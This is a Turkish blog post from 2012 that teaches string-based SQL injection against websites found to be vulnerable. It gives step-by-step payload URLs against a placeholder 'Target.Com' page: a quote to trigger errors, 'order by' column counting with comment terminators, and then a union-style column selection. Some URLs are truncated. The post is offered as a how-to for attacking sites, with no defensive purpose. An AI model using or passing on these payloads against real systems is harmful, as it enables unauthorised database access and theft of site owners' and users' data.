Dizi Tabanlı etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Dizi Tabanlı etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

24 Şubat 2012 Cuma

Dizi Tabanlı SQL İNJECKTİON

Savunmasız SQL açıklı Bir Site Bulduğunuzda Order By Komutunu Ne Kadar Yazsakta Hata Alamazsak ?
Order By Komutu İşe Yaramazsa?
Bu Muhtemelen Dize Esaslı Enjeksiyon Kullanmak Zorunda Olduğumuzu Gösterir.


İlk Olarak Sitede SQL Hatası Almalıyız, Zaten Herkes Almayı Biliyor Varsayıyorum.
Http://Target.Com/injectpoint.php?ID=10'

Komutu Deneyelim;
Http://Target.Com/injectpoint.php?ID=10+order+by+1--

Herhangi Bir Hata Alamazsınız, ve Bu Komut 10000'e Doğru Uzar Gider.
Http://Target.Com/injectpoint.php?ID...+by+10000000--

Hala Hatadan Eser Yok…

Bu Komutu Deneyelim bir de;
Http://Target.Com/injectpoint.php?ID=10'+order+by+1--+-

Hala Hiçbir Hata Yok, Genellikle Tek Kolondan Oluşmaz
Çünkü Kolon Sayısı, O halde Siz, Bu Komutu Deneyeceksiniz;

Http://Target.com/injectpoint.php?ID...+by+100000--+-
Hatayı Aldık!

Çünkü Bir Sitede 100000 Kolon Olması İmkansız Gibi Birşey
ve String (Dize) Yöntemini Gerçekleştirdik.

Son Olarak Düzenli Bir SQL İnjection Komutu Haline Getirelim;
Http://Target.Com/injectpoint.php?ID...rder+by+10--+-

10. Kolonda Hatayı Verir Varsayıyorum.
ve Kolon Sayımız 9 Olarak Bulunur, Ardından;
Http://Target.Com/injectpoint.php?ID=10'+order+by+9--+-

Ekrana Kullanacağımız Kolon Sayıları Vurulur
Sonrasında Normal Injeksiyon Yapabiliriz;
Http://Target.Com/injectpoint.php?ID...,5,6,7,8,9--+-

Sizlerle String (Dize) Tabanlı Bir SQL Enjeksiyon Gerçekleştirmiş Olduk..